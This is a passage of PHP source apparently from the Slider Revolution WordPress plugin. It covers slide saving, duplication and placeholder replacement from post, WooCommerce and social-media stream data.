apply_filters('revslider_slide_initBySlide', $slide, $this); $this->id = 'template'; $this->template_id = $slide->get_id(); $this->slider_id = $slide->get_slider_id(); $this->order = $slide->get_order(); $this->image_url = $slide->image_url; $this->image_id = $slide->image_id; $this->image_thumb = $slide->get_thumb_url(); $this->image_path = $slide->image_path; $this->image_filename = $slide->image_filename; $this->params = $slide->get_params(); $this->layers = $slide->get_layers(); $this->settings = $slide->get_settings(); $this->children = $slide->children; } /** * Save a Slide by the given data * @before: RevSliderSlide::updateSlideFromData(); **/ public function save_slide($slide_id, $data, $slider_id){ if(!$this->exist_by_id($slide_id)){ $static = (strpos($slide_id, 'static_') !== false) ? true : false; $slide_id = $this->create_slide($slider_id, '', $static, $slide_id); if(!$this->exist_by_id($slide_id)){ return false; } } $this->init_by_id($slide_id); $params = $this->get_val($data, 'params', array()); $params = $this->json_decode_slashes($params); $settings = $this->get_val($data, 'settings', array()); $settings = $this->json_decode_slashes($settings); $this->settings = $settings; $this->settings['version'] = $this->get_val($params, 'version', $this->get_val($this->settings, 'version', RS_REVISION)); if(isset($params['version'])) unset($params['version']); $this->params = $params; $layers = $this->get_val($data, 'layers', array()); $layers = $this->json_decode_slashes($layers); $this->layers = (empty($layers) || !is_array($layers)) ? array() : $layers; $this->save_params(); $this->save_layers(); $this->save_settings(); //backup AddOn fix for Page/Post Slide saving if(class_exists('RsBackupBase') && !isset($data['session_id'])) $data['session_id'] = substr(md5(rand()), 0, 7); // needed for backups addon do_action('revslider_slide_updateSlideFromData_post', false, $data, $this); return true; } /** * Merge settings of a Slide by the given data * @since: 6.1.2 **/ public function save_slide_advanced($slide_id, $data, $slider_id){ if(!$this->exist_by_id($slide_id)){ $static = strpos($slide_id, 'static_') !== false; $slide_id = $this->create_slide($slider_id, '', $static, $slide_id); if(!$this->exist_by_id($slide_id)){ return false; } } $this->init_by_id($slide_id); $params = $this->get_val($data, 'params', array()); $params = $this->json_decode_slashes($params); $version = $this->get_val($params, 'version', $this->get_val($this->settings, 'version', RS_REVISION)); if(!empty($params)){ if(isset($params['version'])) unset($params['version']); $this->params = array_replace_recursive($this->params, $params); $this->save_params(); } $layers = $this->get_val($data, 'layers', array()); $layers = $this->json_decode_slashes($layers); if(!empty($layers)){ $this->layers = array_replace_recursive($this->layers, $layers); $this->save_layers(); } $settings = $this->get_val($data, 'settings', array()); $settings = $this->json_decode_slashes($settings); if(!empty($settings)){ $settings['version'] = $version; $this->settings = array_replace_recursive($this->settings, $settings); $this->save_settings(); } return true; } /** * delete a slide by its ID * @before: RevSliderSlide::deleteSlide(); */ public function delete_slide_by_id($slide_id){ global $wpdb; $return = $wpdb->delete($wpdb->prefix . RevSliderFront::TABLE_SLIDES, array('id' => $slide_id)); do_action('revslider_slide_deleteSlide', $slide_id); return $return; } /** * duplicate slide by its ID and push it to given Slider ID * @before: RevSliderSlider::duplicateSlide(); **/ public function duplicate_slide_by_id($slide_id, $slider_id){ global $wpdb; $done = false; $slide = $wpdb->get_row($wpdb->prepare("SELECT * FROM ". $wpdb->prefix . RevSliderFront::TABLE_SLIDES ." WHERE id = %s", $slide_id), ARRAY_A); if(!empty($slide)){ $slider = new RevSliderSlider(); $slider->init_by_id($slider_id); $slides = $slider->get_slides(); $order = 0; if(!empty($slides)){ foreach($slides as $t_s){ $n_order = $t_s->get_order(); if($n_order > $order) $order = $n_order; } } $slide['slider_id'] = $slider_id; $slide['slide_order'] = $order + 1; $slide_id = $this->get_val($slide, 'id'); unset($slide['id']); $done = $wpdb->insert($wpdb->prefix . RevSliderFront::TABLE_SLIDES, $slide); } return ($done) ? $wpdb->insert_id : false; } /** * change slide_order of a slide * @param int $slide_id * @param string $slide_order */ public function change_slide_order($slide_id, $slide_order){ global $wpdb; $wpdb->update($wpdb->prefix . RevSliderFront::TABLE_SLIDES, array('slide_order' => $slide_order), array('id' => $slide_id)); } /** * init slide by post data * @before: RevSliderSlide::initByPostData(); * @removed in 6.2.18 -> @change 6.2.16: $template_id will not be written if the current post id is not the post_id to prevent malfunctioning */ public function init_by_post_data($data, RevSliderSlide $template, $slider_id){ $post_id = $this->get_val($data, 'ID'); $template_id = get_post_meta($post_id, 'slide_template', true); //only change the template if we are in the post itself, not if we are in another revslider that is post based! $template_id = ($template_id == '') ? 'default' : $template_id; $this->post_data = apply_filters('revslider_slide_initByPostData', $data, $template, $slider_id, $this); if(!empty($template_id) && is_numeric($template_id)){ //init by local template, if this fails, init by global (slider) template try{ /* we have to add this slide for the static slide to be available in certain cases check if slide exists */ $local = new RevSliderSlide(); if($local->exist_by_id($template_id)){ $local->init_by_id($template_id); $this->init_by_slide($local); }else{ $this->init_by_slide($template); } }catch(Exception $e){ $this->init_by_slide($template); } }else{ //init by global template $this->init_by_slide($template); } //set some slide params $this->id = $post_id; $this->params['title'] = $this->get_val($data, 'post_title'); if($this->get_val($this->params, array('seo', 'set'), false) == true && $this->get_val($this->params, array('seo', 'type'), 'regular') == 'regular'){ $link = get_permalink($post_id); $this->params['seo']['link'] = str_replace(array('%link%', '{{link}}'), $link, $this->params['seo']['link']); $this->params['seo']['link'] = str_replace('-', '_REVSLIDER_', $this->params['seo']['link']); //process meta tags: $matches = array(); preg_match('/%meta:\w+%/', $this->params['seo']['link'], $matches); if(!empty($matches)){ foreach($matches as $match){ $meta = str_replace('%meta:', '', $match); $meta = str_replace('%', '', $meta); $meta = str_replace('_REVSLIDER_', '-', $meta); $meta_val = get_post_meta($post_id, $meta, true); $this->params['seo']['link'] = str_replace($match, $meta_val, $this->params['seo']['link']); } } $matches = array(); preg_match('/{{meta:\w+}}/', $this->params['seo']['link'], $matches); if(!empty($matches)){ foreach($matches as $match){ $meta = str_replace('{{meta:', '', $match); $meta = str_replace('}}', '',$meta); $meta = str_replace('_REVSLIDER_', '-', $meta); $meta_val = get_post_meta($post_id, $meta, true); $this->params['seo']['link'] = str_replace($match, $meta_val, $this->params['seo']['link']); } } $this->params['seo']['link'] = str_replace('_REVSLIDER_', '-', $this->params['seo']['link']); } $this->params['publish']['state'] = ($data['post_status'] == 'publish') ? 'published' : $this->params['publish']['state'] = 'unpublished'; if(!in_array($this->get_val($this->params, array('bg', 'type'), 'trans'), array('trans', 'solid'), true)){ if($this->get_val($this->params, array('bg', 'imageFromStream'), false) === true){ //if image is choosen, use featured image as background // && $this->get_val($this->params, array('bg', 'type')) == 'image' $tid = get_post_thumbnail_id($post_id); if(!empty($tid)){ $this->set_image_by_image_id($tid); //set the thumbnail image $thumbnail_url = wp_get_attachment_image_src($tid, 'thumbnail'); if($thumbnail_url !== false){ if(!isset($this->params['thumb'])) $this->params['thumb'] = array(); $this->params['thumb']['customThumbSrc'] = $this->get_val($thumbnail_url, 0); } } } } //replace placeholders in layers: $this->set_layers_by_post($data, $slider_id); } /** * replace layer placeholders by post data * @before: RevSliderSlide::setLayersByPostData(); */ private function set_layers_by_post($post, $slider_id){ $post = apply_filters('revslider_slide_setLayersByPostData_pre', $post, $slider_id, $this); $ignore_taxonomies = apply_filters('revslider_slide_ignore_taxonomies', array('post_tag', 'translation_priority', 'language', 'post_translations'), $this); //check if we are woocommerce or not $post_id = $this->get_val($post, 'ID'); $slider_source = $this->get_slider_param($slider_id, 'source', array()); $source_type = $this->get_slider_param($slider_id, 'sourcetype', 'gallery'); $lazyload = ($this->get_slider_param($slider_id, array('general', 'lazyLoad'), false) != 'none') ? true : false; $class = 'tp-rs-img'; $class .= ($lazyload === true) ? ' rs-lazyload' : ''; $excerpt_limit = ($source_type == 'woocommerce' || $source_type == 'woo') ? $this->get_val($slider_source, array('woo', 'excerptLimit'), 55) : $this->get_val($slider_source, array('post', 'excerptLimit'), 55); if(strpos($excerpt_limit, 'chars') !== false){ $type = 'chars'; $excerpt_limit = str_replace('chars', '', $excerpt_limit); }else{ $type = 'words'; $excerpt_limit = str_replace('char', '', $excerpt_limit); //char is a fallback from before 6.3.4 $excerpt_limit = str_replace('words', '', $excerpt_limit); } $excerpt_limit = (int)$excerpt_limit; $excerpt_limit = $this->get_excerpt_by_id($post_id, $excerpt_limit, $type); $date = $this->get_val($post, 'post_date_gmt'); $date_mod = $this->get_val($post, 'post_modified'); $author = $this->get_val($post, 'post_author'); $curauth = get_user_by('ID', $author); $cats = $this->get_val($post, array('source', 'post', 'category')); $full = false; if(empty($cats)){ $cats = array(); $post_type = $this->get_val($post, 'post_type'); $taxonomies = get_object_taxonomies($post_type); if(!empty($taxonomies)){ foreach($taxonomies as $ptt){ if(in_array($ptt, $ignore_taxonomies, true)) continue; $temp_cats = get_the_terms($post_id, $ptt); if(!empty($temp_cats)){ $cats = array_merge($cats, $temp_cats); $full = true; } } } } $img_sizes = $this->get_all_image_sizes(); $ptid = get_post_thumbnail_id($post_id); $attr = array( 'title' => $this->get_val($post, 'post_title'), 'alias' => $this->get_val($post, 'post_name'), 'content' => $this->get_val($post, 'post_content'), 'link' => get_permalink($post_id), 'excerpt' => $excerpt_limit, 'postDate' => $this->convert_post_date($date), 'dateModified' => $this->convert_post_date($date_mod), 'authorName' => get_the_author_meta('display_name', $author), 'authorID' => $author, 'authorPage' => $curauth->user_url, 'authorPostsPage' => get_author_posts_url($author), 'catlist' => $this->get_categories_html($cats, null, $post_id, $full), 'catlist_raw' => strip_tags($this->get_categories_html($cats, null, $post_id, $full)), 'taglist' => get_the_tag_list('', ',', '', $post_id), 'numComments' => $this->get_val($post, 'comment_count'), 'img_urls' => array() ); foreach($img_sizes as $img_handle => $img_name){ $featured_image_url = wp_get_attachment_image_src($ptid, $img_handle); if($featured_image_url !== false){ $attr['img_urls'][$img_handle] = array( 'url' => $featured_image_url[0], 'tag' => ''.esc_attr($this->get_val($attr, 'title')).'' ); } } $attr = apply_filters('revslider_slide_setLayersByPostData_post', $attr, $post, $slider_id, $this); if(!empty($this->layers)){ foreach($this->layers as $key => $layer){ $text = $this->get_val($layer, 'text'); $text = apply_filters('revslider_mod_meta', $text, $post['ID'], $post); //option to add your own filter here to modify meta to your likings $text = $this->set_post_data($text, $attr, $post['ID']); $layer['text'] = $text; $actions = $this->get_val($layer, array('actions', 'action'), array()); if(!empty($actions)){ foreach($actions as $a_k => $action){ $ilink = $this->get_val($action, 'image_link'); if(!empty($ilink)){ $ilink = $this->set_post_data($ilink, $attr, $post['ID']); $this->set_val($layer, array('actions', 'action', $a_k, 'image_link'), $ilink); } } } /** * check if we should add the featured image * as the image, as the layer is image * and has set to use the stream image **/ if($this->get_val($layer, 'type', 'text') === 'image' && $this->get_val($layer, array('media', 'imageFromStream'), false) === true){ $featured_image_url = wp_get_attachment_image_src($ptid, 'full'); if(!empty($featured_image_url)){ $this->set_val($layer, array('media', 'imageUrl'), $this->get_val($featured_image_url, 0)); } } $this->layers[$key] = $layer; } } for($mi = 0; $mi < 10; $mi++){ //set params to the post data $pa = $this->get_param(array('info', 'params', $mi, 'v'), ''); $pa = $this->set_post_data($pa, $attr, $post['ID']); $this->set_param(array('info', 'params', $mi, 'v'), $pa); } $param_list = array(array('attributes', 'alt'), array('attributes', 'class'), array('attributes', 'data')); foreach($param_list as $p){ //set params to the stream data $pa = $this->get_param($p, ''); $pa = $this->set_post_data($pa, $attr, $post['ID']); $this->set_param($p, $pa); } } /** * get excerpt from post id * @before: RevSliderFunctionsWP::getExcerptById(); */ public function get_excerpt_by_id($id, $limit = 55, $type = 'words'){ $post = get_post($id); $excerpt = trim($post->post_excerpt); $excerpt = (empty($excerpt)) ? $post->post_content : $excerpt; $excerpt = strip_tags($excerpt, '

            '); if($type === 'words'){ $excerpt = $this->get_text_intro($excerpt, $limit); }else{ $excerpt = $this->get_text_intro_chars($excerpt, $limit); } return apply_filters('revslider_getExcerptById', $excerpt, $post, $limit); } /** * get text intro, limit by number of words * @before: RevSliderFunctionsWP::getTextIntro(); */ public function get_text_intro($text, $limit){ $limit++; $array = explode(' ', $text, $limit); if(count($array) >= $limit){ array_pop($array); $intro = implode(' ', $array); $intro = trim($intro); $intro .= (!empty($intro)) ? '...' : ''; }else{ $intro = $text; } return preg_replace('`\[[^\]]*\]`', '', $intro); } /** * get text intro, limit by number of words * @before: RevSliderFunctionsWP::getTextIntro(); */ public function get_text_intro_chars($text, $limit){ $intro = substr($text, 0, $limit); return preg_replace('`\[[^\]]*\]`', '', $intro); } /** * replace placeholders with post data **/ public function set_post_data($text, $attr, $post_id){ $img_sizes = $this->get_all_image_sizes(); //remove rev_slider shortcodes from content ( no inception ;) $content = $this->get_val($attr, 'content'); $content = preg_replace('/\\[rev_slider.*?\\]/', '', $content, -1); $content = str_replace('[/rev_slider]', '', $content); //add filter for addon metas $text = apply_filters('rev_slider_insert_meta', $text, $post_id); $text = str_replace(array('%title%', '{{title}}'), $this->get_val($attr, 'title'), $text); $text = str_replace(array('%excerpt%', '{{excerpt}}'), $this->get_val($attr, 'excerpt'), $text); $text = str_replace(array('%alias%', '{{alias}}'), $this->get_val($attr, 'alias'), $text); $text = str_replace(array('%content%', '{{content}}'), $content, $text); $text = str_replace(array('%link%', '{{link}}'), $this->get_val($attr, 'link'), $text); $text = str_replace(array('%date%', '{{date}}'), $this->get_val($attr, 'postDate'), $text); $text = str_replace(array('%date_modified%', '{{date_modified}}'), $this->get_val($attr, 'dateModified'), $text); $text = str_replace(array('%author_name%', '{{author_name}}'), $this->get_val($attr, 'authorName'), $text); $text = str_replace(array('%author_posts%', '{{author_posts}}'), $this->get_val($attr, 'authorPostsPage'), $text); $text = str_replace(array('%author_website%', '{{author_website}}'), $this->get_val($attr, 'authorPage'), $text); $text = str_replace(array('%num_comments%', '{{num_comments}}'), $this->get_val($attr, 'numComments'), $text); $text = str_replace(array('%catlist%', '{{catlist}}'), $this->get_val($attr, 'catlist'), $text); $text = str_replace(array('%catlist_raw%', '{{catlist_raw}}'), $this->get_val($attr, 'catlist_raw'), $text); $text = str_replace(array('%taglist%', '{{taglist}}'), $this->get_val($attr, 'taglist'), $text); $text = str_replace(array('%id%', '{{id}}'), $post_id, $text); if(!empty($img_sizes)){ foreach($img_sizes as $img_handle => $img_name){ $text = str_replace(array('%featured_image_url_'.$img_handle.'%', '{{featured_image_url_'.$img_handle.'}}'), $this->get_val($attr, array('img_urls', $img_handle, 'url'), ''), $text); $text = str_replace(array('%featured_image_'.$img_handle.'%', '{{featured_image_'.$img_handle.'}}'), $this->get_val($attr, array('img_urls', $img_handle, 'tag'), ''), $text); //fix for using the lowercase name instead of the handle $img_name = strtolower($img_name); $img_name = str_replace(' ', '_', $img_name); $text = str_replace(array('%featured_image_url_'.$img_name.'%', '{{featured_image_url_'.$img_name.'}}'), $this->get_val($attr, array('img_urls', $img_handle, 'url'), ''), $text); $text = str_replace(array('%featured_image_'.$img_name.'%', '{{featured_image_'.$img_name.'}}'), $this->get_val($attr, array('img_urls', $img_handle, 'tag'), ''), $text); } } //process meta tags: $text = str_replace('-', '_REVSLIDER_', $text); $arrMatches = array(); preg_match_all('/%meta:\w+%/', $text, $arrMatches); if(!empty($arrMatches)){ foreach($arrMatches as $matched){ foreach($matched as $match){ $meta = str_replace('%meta:', '', $match); $meta = str_replace('%', '',$meta); $meta = str_replace('_REVSLIDER_', '-', $meta); $metaValue = get_post_meta($post_id, $meta, true); $text = str_replace($match, $metaValue, $text); } } } $arrMatches = array(); preg_match_all('/{{meta:\w+}}/', $text, $arrMatches); if(!empty($arrMatches)){ foreach($arrMatches as $matched){ foreach($matched as $match) { $meta = str_replace('{{meta:', '', $match); $meta = str_replace('}}', '',$meta); $meta = str_replace('_REVSLIDER_', '-', $meta); $metaValue = get_post_meta($post_id,$meta,true); $text = str_replace($match,$metaValue,$text); } } } $arrMatches = array(); preg_match_all("/{{content:\w+[\:]\w+}}/", $text, $arrMatches); if(!empty($arrMatches)){ foreach($arrMatches as $matched){ foreach($matched as $match) { //now check length and type $meta = str_replace('{{content:', '', $match); $meta = str_replace('}}', '',$meta); $meta = str_replace('_REVSLIDER_', '-', $meta); $vals = explode(':', $meta); if(count($vals) !== 2) continue; //not correct values $vals[1] = intval($vals[1]); //get real number if($vals[1] === 0 || $vals[1] < 0) continue; //needs to be at least 1 if($vals[0] == 'words'){ $metaValue = explode(' ', strip_tags($content), $vals[1]+1); if(is_array($metaValue) && count($metaValue) > $vals[1]) array_pop($metaValue); $metaValue = implode(' ', $metaValue); }elseif($vals[0] == 'chars'){ $metaValue = mb_substr(strip_tags($content), 0, $vals[1]); }else{ continue; } $text = str_replace($match, $metaValue, $text); } } } $arrMatches = array(); preg_match_all("/{{author_avatar:\w+}}/", $text, $arrMatches); if(!empty($arrMatches)){ foreach($arrMatches as $matched){ foreach($matched as $match) { //now check length and type $meta = str_replace('{{author_avatar:', '', $match); $meta = str_replace('}}', '', $meta); $meta = str_replace('_REVSLIDER_', '-', $meta); $vals = explode(':', $meta); if(count($vals) !== 1) continue; //not correct values $vals[0] = intval($vals[0]); //get real number if($vals[0] === 0 || $vals[0] < 0) continue; //needs to be at least 1 $avatar = get_avatar_url($this->get_val($attr, 'authorID'), array('size'=> $vals[0])); $text = str_replace($match, $avatar, $text); } } } $text = str_replace('_REVSLIDER_','-',$text); //replace event's template if(RevSliderEventsManager::isEventsExists()){ $ed = RevSliderEventsManager::get_event_post_data($post_id); if(!empty($ed)){ foreach($ed as $ek => $ev){ if($ek == 'start_date' || $ek == 'end_date') $ev = $this->convert_post_date($ev); $text = str_replace(array('%event_'.$ek.'%', '{{event_'.$ek.'}}'), $ev, $text); } } } if(RevSliderWooCommerce::woo_exists()){ $is_30 = RevSliderWooCommerce::version_check('3.0'); $product = ($is_30) ? wc_get_product($post_id) : get_product($post_id); if($product !== false){ $wc_stock = ($is_30) ? RevSliderWooCommerce::get_total_stock($product) : $product->get_total_stock(); $wc_rating = ($is_30) ? wc_get_rating_html($product->get_average_rating()) : $product->get_rating_html(); $wc_categories = ($is_30) ? wc_get_product_category_list($product->get_id(), ',') : $product->get_categories(','); $wc_tags = ($is_30) ? wc_get_product_tag_list($product->get_id()) : $product->get_tags(); $wc_add_to_cart_button = ''; $wc_star_rating = '
            '; preg_match_all('#.*?#', $wc_rating, $match); if(!empty($match) && isset($match[0]) && isset($match[0][0])){ $wc_star_rating .= str_replace($match[0][0], '', $wc_rating); $wc_star_rating = str_replace("Rated ","",$wc_star_rating); } $wc_star_rating .= '
            '; if(strpos($text, 'wc_add_to_cart_button') !== false){ $pr_id = ($is_30) ? $product->get_id() : $product->id; $pr_type = ($is_30) ? $product->get_type() : $product->product_type; $suffix = defined('SCRIPT_DEBUG') && SCRIPT_DEBUG ? '' : '.min'; $ajax_cart_en = get_option('woocommerce_enable_ajax_add_to_cart') == 'yes' ? true : false; $assets_path = str_replace(array( 'http:', 'https:'), '', WC()->plugin_url()) . '/assets/'; if($ajax_cart_en){ wp_enqueue_script( 'wc-add-to-cart', $assets_path.'js/frontend/'.'add-to-cart'.$suffix.'.js', array('jquery'), WC_VERSION, true); global $wc_is_localized; if($wc_is_localized === false){ //load it only one time wp_localize_script('wc-add-to-cart', 'wc_add_to_cart_params', apply_filters('wc_add_to_cart_params', array( 'ajax_url' => WC()->ajax_url(), 'ajax_loader_url' => apply_filters('woocommerce_ajax_loader_url', $assets_path . 'images/ajax-loader@2x.gif'), 'i18n_view_cart' => esc_attr__('View Cart', 'woocommerce'), 'cart_url' => get_permalink(wc_get_page_id('cart')), 'is_cart' => is_cart(), 'cart_redirect_after_add' => get_option('woocommerce_cart_redirect_after_add') ))); $wc_is_localized = true; } } $wc_add_to_cart_button = apply_filters( 'woocommerce_loop_add_to_cart_link', sprintf('%s', esc_url($product->add_to_cart_url()), esc_attr($pr_id), esc_attr($product->get_sku()), $product->is_purchasable() ? 'add_to_cart_button' : '', esc_attr($pr_type), esc_html($product->add_to_cart_text()) ), $product ); } $text = str_replace(array('%wc_full_price%', '{{wc_full_price}}'), $product->get_price_html(), $text); $text = str_replace(array('%wc_price%', '{{wc_price}}'), wc_price($product->get_price()), $text); $text = str_replace(array('%wc_price_no_cur%', '{{wc_price_no_cur}}'), $product->get_price(), $text); $text = str_replace(array('%wc_stock%', '{{wc_stock}}'), $wc_stock, $text); $text = str_replace(array('%wc_rating%', '{{wc_rating}}'), $wc_rating, $text); $text = str_replace(array('%wc_star_rating%', '{{wc_star_rating}}'), $wc_star_rating, $text); $text = str_replace(array('%wc_categories%', '{{wc_categories}}'), $wc_categories, $text); $text = str_replace(array('%wc_add_to_cart%', '{{wc_add_to_cart}}'), $product->add_to_cart_url(), $text); $text = str_replace(array('%wc_add_to_cart_button%', '{{wc_add_to_cart_button}}'), $wc_add_to_cart_button, $text); $text = str_replace(array('%wc_sku%', '{{wc_sku}}'), $product->get_sku(), $text); $text = str_replace(array('%wc_stock_quantity%', '{{wc_stock_quantity}}'), $product->get_stock_quantity(), $text); $text = str_replace(array('%wc_rating_count%', '{{wc_rating_count}}'), $product->get_rating_count(), $text); $text = str_replace(array('%wc_review_count%', '{{wc_review_count}}'), $product->get_review_count(), $text); $text = str_replace(array('%wc_tags%', '{{wc_tags}}'), $wc_tags, $text); } } return $text; } /** * init slide by post data * @before: RevSliderSlide::initByStreamData(); */ public function init_by_stream_data($data, $template, $slider_id, $sourcetype, $additions){ $a = apply_filters('revslider_slide_initByStreamData', array('post_data' => $data, 'template' => $template, 'slider_id' => $slider_id, 'sourcetype' => $sourcetype, 'additions' => $additions), $this); $this->post_data = array(); $this->post_data = (array)$a['post_data']; //init by global template $this->init_by_slide($a['template']); switch($a['sourcetype']){ case 'facebook': $this->init_by_facebook($a['slider_id'], $a['additions']); break; case 'twitter': $this->init_by_twitter($a['slider_id'], $a['additions']); break; case 'instagram': $this->init_by_instagram($a['slider_id'], $a['additions']); break; case 'flickr': $this->init_by_flickr($a['slider_id'], $a['additions']); break; case 'youtube': $this->init_by_youtube($a['slider_id'], $a['additions']); break; case 'vimeo': $this->init_by_vimeo($a['slider_id'], $a['additions']); break; default: $return = apply_filters('revslider_slide_initByStreamData_sourceType', false, $a, $this); if($return === false) $this->throw_error(__('Source must be from Stream', 'revslider')); break; } if($this->get_val($this->params, array('bg', 'type')) == 'image'){ $this->params['bg']['image'] = $this->image_url; } } /** * init the data for facebook * @since: 5.0 * @change: 5.1.1 Facebook Album * @before: RevSliderSlide::initByFacebook(); */ private function init_by_facebook($slider_id, $additions){ $this->post_data = apply_filters('revslider_slide_initByFacebook_pre', $this->post_data, $slider_id, $additions, $this); //set some slide params $this->id = $this->get_val($this->post_data, 'id'); $this->set_param('title', $this->get_val($this->post_data, 'name')); $this->set_param(array('publish', 'state'), 'published'); if($this->get_val($this->params, array('seo', 'set'), false) && $this->get_val($this->params, array('seo', 'type'), 'regular') == 'regular'){ $link = $this->get_val($this->post_data, 'link'); $this->set_param(array('seo', 'link'), str_replace(array('%link%', '{{link}}'), $link, $this->params['seo']['link'])); } if($this->get_val($this->params, array('bg', 'type')) == 'image'){ //if image is choosen, use featured image as background if($additions['fb_type'] == 'album'){ $image_array = $this->get_val($this->post_data, 'images'); $this->image_url = isset($image_array[0]['source']) ? $image_array[0]['source'] : $this->get_val($this->post_data, 'picture', $this->image_thumb); $this->image_thumb = $this->get_val($this->post_data, 'picture', $this->image_thumb); }else{ $this->image_url = $this->get_val($this->post_data, 'full_picture', $this->image_thumb); $this->image_thumb = $this->get_val($this->post_data, 'picture', $this->image_thumb); } $this->image_url = (empty($this->image_url)) ? RS_PLUGIN_URL.'public/assets/assets/sources/facebook.png' : $this->image_url; $this->image_url = (is_ssl()) ? str_replace('http://', 'https://', $this->image_url) : $this->image_url; $this->image_filename = basename($this->image_url); } $this->post_data = apply_filters('revslider_slide_initByFacebook_post', $this->post_data, $slider_id, $additions, $this); $this->set_layers_by_stream($slider_id, 'facebook', $additions); //replace placeholders in layers } /** * init the data for twitter * @since: 5.0 * @before: RevSliderSlide::initByTwitter(); */ private function init_by_twitter($slider_id, $additions){ $this->post_data = apply_filters('revslider_slide_initByTwitter_pre', $this->post_data, $slider_id, $additions, $this); $this->id = $this->get_val($this->post_data, 'id'); $this->set_param('title', $this->get_val($this->post_data, 'title')); $this->set_param(array('publish', 'state'), 'published'); if($this->get_val($this->params, array('seo', 'set'), false) && $this->get_val($this->params, array('seo', 'type'), 'regular') == 'regular'){ $link = 'https://twitter.com/'.$additions['twitter_user'].'/status/'.$this->get_val($this->post_data, 'id_str'); $this->set_param(array('seo', 'link'), str_replace(array('%link%', '{{link}}'), $link, $this->params['seo']['link'])); } if(in_array($this->get_val($this->params, array('bg', 'type')), array('html5', 'trans', 'image', 'streamtwitter', 'streamtwitterboth'), true)){ //if image is choosen, use featured image as background $img_sizes = $this->get_all_image_sizes('twitter'); $img_res = $this->get_val($this->params, array('bg', 'imageSourceType'), reset($img_sizes)); $this->image_id = $this->get_val($this->post_data, 'id'); $img_res = (!isset($img_sizes[$img_res])) ? key($img_sizes) : $img_res; $image_url_array = $this->get_val($this->post_data, 'media'); $image_url_large = $this->get_val($image_url_array, 'large'); $img = $this->get_val($image_url_large, 'media_url', ''); $entities = $this->get_val($this->post_data, 'entities'); $urls = $this->get_val($entities, 'urls'); if($img == ''){ $image_url_array = $this->get_val($entities, 'media'); if(is_array($image_url_array) && isset($image_url_array[0])){ $img = (is_ssl()) ? $this->get_val($image_url_array[0], 'media_url_https') : $this->get_val($image_url_array[0], 'media_url'); } } if(is_array($urls) && isset($urls[0])){ $display_url = $this->get_val($urls[0], 'display_url'); $raw = explode('/', $display_url); //check if youtube or vimeo is inside if(strpos($display_url, 'youtu.be') !== false){ $this->set_param(array('bg', 'youtube'), $raw[1]); //set video for background video }elseif(strpos($display_url, 'vimeo.com') !== false){ $this->set_param(array('bg', 'vimeo'), $raw[1]); //set video for background video } } $image_url_array = $this->get_val($entities, 'media'); if(is_array($image_url_array) && isset($image_url_array[0])){ $video_info = $this->get_val($image_url_array[0], 'video_info'); $variants = $this->get_val($video_info, 'variants'); if(is_array($variants) && isset($variants[0])){ $this->set_param(array('bg', 'mpeg'), $this->get_val($variants[0], 'url')); //set video for background video } } $entities = $this->get_val($this->post_data, 'extended_entities'); if($img == ''){ $image_url_array = $this->get_val($entities, 'media'); if(is_array($image_url_array) && isset($image_url_array[0])){ $img = (is_ssl()) ? $this->get_val($image_url_array[0], 'media_url_https') : $this->get_val($image_url_array[0], 'media_url'); } } $urls = $this->get_val($entities, 'urls'); if(is_array($urls) && isset($urls[0])){ $display_url = $this->get_val($urls[0], 'display_url'); //check if youtube or vimeo is inside $raw = explode('/', $display_url); if(strpos($display_url, 'youtu.be') !== false){ $this->set_param(array('bg', 'youtube'), $raw[1]); //set video for background video }elseif(strpos($display_url, 'vimeo.com') !== false){ $this->set_param(array('bg', 'vimeo'), $raw[1]); //set video for background video } } $image_url_array = $this->get_val($entities, 'media'); if(is_array($image_url_array) && isset($image_url_array[0])){ $video_info = $this->get_val($image_url_array[0], 'video_info'); $variants = $this->get_val($video_info, 'variants'); if(is_array($variants) && isset($variants[0])){ $this->set_param(array('bg', 'mpeg'), $this->get_val($variants[0], 'url')); //set video for background video } } if($img !== ''){ $this->image_url = $img; $this->image_thumb = $img; } $this->image_url = (empty($this->image_url)) ? RS_PLUGIN_URL.'public/assets/assets/sources/twitter.png' : $this->image_url; $this->image_url = (is_ssl()) ? str_replace("http://", "https://", $this->image_url) : $this->image_url; $this->image_filename = basename($this->image_url); } $this->post_data = apply_filters('revslider_slide_initByTwitter_post', $this->post_data, $slider_id, $additions, $this); $this->set_layers_by_stream($slider_id, 'twitter', $additions); //replace placeholders in layers } /** * init the data for instagram * @since: 5.0 * @before: RevSliderSlide::initByInstagram(); */ private function init_by_instagram($slider_id, $additions = array()){ $this->post_data = apply_filters('revslider_slide_initByInstagram_pre', $this->post_data, $slider_id, $this); //set some slide params $this->id = $this->get_val($this->post_data, 'id'); $caption = $this->get_val($this->post_data, 'caption'); $link = $this->get_val($this->post_data, 'link'); $link = (empty($link)) ? 'https://www.instagram.com/p/' . $this->get_val($this->post_data, 'shortcode') : $link; $this->set_param('title', $this->get_val($caption, 'text')); $this->set_param(array('publish', 'state'), 'published'); if($this->get_val($this->params, array('seo', 'set'), false) && $this->get_val($this->params, array('seo', 'type'), 'regular') == 'regular'){ $this->set_param(array('seo', 'link'), str_replace(array('%link%', '{{link}}'), $link, $this->params['seo']['link'])); } if(in_array($this->get_val($this->params, array('bg', 'type')), array('html5', 'trans', 'image', 'streaminstagram', 'streaminstagramboth'), true)){ //if image is choosen, use featured image as background $is = array(); $img_sizes = $this->get_all_image_sizes('instagram'); $img_res = $this->get_val($this->params, array('bg', 'imageSourceType'), reset($img_sizes)); $img_res = (!isset($img_sizes[$img_res])) ? key($img_sizes) : $img_res; $this->image_id = $this->get_val($this->post_data, 'id'); $imgs = $this->get_val($this->post_data, 'images', array()); foreach($imgs as $k => $im){ $is[$k] = $im->url; } $this->image_url = $this->get_val($this->post_data, 'display_url'); $this->image_thumb = $this->get_val($this->post_data, 'thumbnail_src', $this->image_thumb); $this->image_url = (empty($this->image_url)) ? RS_PLUGIN_URL . 'public/assets/assets/sources/instagram.png' : $this->image_url; $this->image_url = (is_ssl()) ? str_replace('http://', 'https://', $this->image_url) : $this->image_url; $this->image_filename = basename($this->image_url); } $videos = $this->get_val($this->post_data, array('videos', 'standard_resolution', 'url')); if(!empty($videos)){ $this->set_param('slide_bg_instagram', $videos); //set video for background video $this->set_param(array('bg', 'mpeg'), $videos); //set video for background video } $this->post_data = apply_filters('revslider_slide_initByInstagram_post', $this->post_data, $slider_id, $this); $this->set_layers_by_stream($slider_id, 'instagram', $additions); //replace placeholders in layers } /** * init the data for flickr * @since: 5.0 * @update: 6.1.7 */ private function init_by_flickr($slider_id, $additions){ $this->post_data = apply_filters('revslider_slide_initByFlickr_pre', $this->post_data, $slider_id, $this); $this->id = 